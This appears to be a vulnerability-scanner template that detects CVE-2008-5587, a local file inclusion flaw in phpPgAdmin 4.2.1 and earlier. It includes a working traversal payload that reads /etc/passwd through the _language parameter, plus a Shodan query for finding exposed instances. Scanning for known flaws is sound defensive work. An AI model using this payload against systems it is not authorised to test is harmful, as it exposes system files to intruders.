id: CVE-2008-5587
info:
name: phpPgAdmin <=4.2.1 - Local File Inclusion
author: dhiyaneshDK
severity: medium
description: phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/7363
- http://web.archive.org/web/20210121184707/https://www.securityfocus.com/bid/32670/
- http://web.archive.org/web/20160520063306/http://secunia.com/advisories/33014
- http://web.archive.org/web/20151104173853/http://secunia.com/advisories/33263
- https://nvd.nist.gov/vuln/detail/CVE-2008-5587
classification:
cve-id: CVE-2008-5587
metadata:
shodan-query: http.title:"phpPgAdmin"
tags: cve,cve2008,lfi,phppgadmin,edb
requests:
- method: GET
path:
- '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00'
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# Enhanced by mp on 2022/07/22
